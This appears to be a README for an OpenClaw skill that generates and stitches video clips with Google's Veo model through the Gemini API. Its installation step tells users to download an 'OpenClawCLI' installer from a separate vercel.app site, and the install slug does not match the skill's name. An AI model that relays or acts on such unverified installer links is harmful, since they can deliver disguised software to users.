veo3-gen

What This Skill Does

The veo3-gen skill integrates the Google Veo 3.x video generation model directly into your OpenClaw workflow. It serves as a specialized wrapper for the Gemini API, allowing you to generate high-quality, professional video clips from simple text prompts. Whether you are creating short-form content for social media, product demonstrations, or artistic visual projects, this skill automates the complex pipeline of generating, polling for status, downloading, and stitching together multiple video segments into a single cohesive MP4 file. It is designed for users who need a programmatic, reproducible CLI workflow for video synthesis.

Installation

To begin using veo3-gen, you must first ensure that the OpenClawCLI is installed on your system. Visit https://openclawcli.vercel.app/ to download the appropriate installer for Windows or macOS. Once the CLI is set up, run the command clawhub install openclaw/skills/skills/thiagoruss0/veo3-genay in your terminal. Ensure that you have ffmpeg installed and available in your system PATH, as this is a strict requirement for concatenating video segments. Additionally, export your GEMINI_API_KEY as an environment variable to authenticate your requests.

Use Cases

• Marketing & Advertising: Rapidly produce 30-second product showcases by generating several 8-second segments that maintain consistent branding.
• Content Creation (UGC): Generate stock-style footage or B-roll for video essays and tutorials without needing expensive camera equipment.
• Prototyping: Visualize conceptual scenes for storyboards or game design documents quickly using text-to-video capabilities.
• Automated Workflows: Integrate video generation into larger batch-processing pipelines where visual assets are needed programmatically.

Example Prompts

1. "Generate a 16-second cinematic video of a futuristic coffee shop in Tokyo at night, using the 9:16 aspect ratio for TikTok."
2. "Create a product demo for my new leather wallet. Use 3 segments with a consistent style; the prompt should show the wallet on a desk, then a close-up of the texture, and finally the interior pockets."
3. "Make a 10-second loop of a mountain landscape with a sunset using the veo-3.1-generate-preview model and keep the style consistent across all clips."

Tips & Limitations

To maximize the quality of your output, always use the --base-style parameter to ensure stylistic continuity, especially when stitching multiple segments. Be aware that Veo 3.1 typically generates clips of approximately 8 seconds each; if you require longer durations, the --segments option is your primary tool. If you encounter a 429 error, check your Google Cloud console to ensure your API key has sufficient quota for video generation. Always use the --use-last-frame flag when concatenating segments to reduce visual "jumps" between clips. Remember that this skill relies on the Gemini API; network connectivity is required for every generation step.
